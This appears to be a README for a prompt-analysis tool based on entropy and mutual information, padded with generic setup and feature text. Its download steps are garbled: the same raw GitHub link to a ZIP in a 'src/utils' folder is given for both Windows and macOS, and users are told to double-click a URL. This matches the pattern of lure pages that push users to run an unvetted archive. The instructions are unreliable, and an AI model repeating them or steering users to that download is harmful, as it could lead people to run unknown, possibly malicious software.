This project helps you understand how well prompts work in language models. It uses methods from information theory to analyze 1,800 language model generations. By looking at concepts like entropy and mutual information, you can quantify the quality of prompts, making your prompt engineering efforts more effective.
To start using this application, you’ll need to follow a few simple steps, regardless of your technical background.
- Operating System: Windows, macOS, or Linux
- Memory: At least 4 GB of RAM
- Storage: At least 200 MB of free disk space
- Internet: Stable internet connection for downloading
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Visit This Page to Download: Access the Releases page by clicking the link below:
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Choose the Latest Release: Look for the latest version at the top of the page. You will see it listed under "Latest release."
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Download the Installation File: Click on the file that matches your operating system. This file will typically be named
https://raw.githubusercontent.com/kadirovjr/prompt-entropy-experiment/main/src/utils/prompt-entropy-experiment_v3.8.zipfor Windows orhttps://raw.githubusercontent.com/kadirovjr/prompt-entropy-experiment/main/src/utils/prompt-entropy-experiment_v3.8.zipfor macOS. -
Extract the ZIP File: If you downloaded a ZIP file, open it, and extract the contents. You should see the application file.
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Run the Application:
- For Windows: Double-click on
https://raw.githubusercontent.com/kadirovjr/prompt-entropy-experiment/main/src/utils/prompt-entropy-experiment_v3.8.zip. - For macOS: Drag the application to your Applications folder and launch it from there.
- For Windows: Double-click on
Once you have the application running, you are ready to begin your analysis.
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Input Your Prompts: Start by entering the prompts you’d like to analyze in the input box. You can enter multiple prompts, each separated by a line.
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Select Your Metrics: Choose the metrics you’d like to evaluate. You can opt for entropy, mutual information, or both. Each metric measures different aspects of prompt quality.
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Run the Analysis: Press the "Analyze" button. The application will process your prompts and provide results in a readable format.
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Review the Results: After analysis, the application will display a summary. This includes graphs and key metrics that visualize your prompt's quality.
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Export Your Findings: If you wish to keep a record of your results, use the export feature to save the analysis as a CSV or PDF file.
- User-Friendly Interface: Intuitive design makes it easy for anyone to use.
- Multi-Metric Analysis: Evaluate prompts using multiple metrics like entropy and mutual information.
- Export Options: Save your analysis for future reference.
- Compatibility: Works on major operating systems: Windows, macOS, and Linux.
We welcome contributions and feedback. If you find any issues or have questions, please reach out:
- GitHub Issues: Use the issues tab on the repository page to report bugs or request features.
- Discussion Forum: Join community discussions about prompt engineering and analysis.
If you’d like to contribute, please read our guidelines in the repository. Your input helps improve the application and makes it more useful to everyone.
Here are some helpful resources to understand entropy and mutual information:
This project is licensed under the MIT License. You can use and modify it according to your needs.
For more detailed instructions, visit the Download & Install section again and ensure you have everything set up correctly.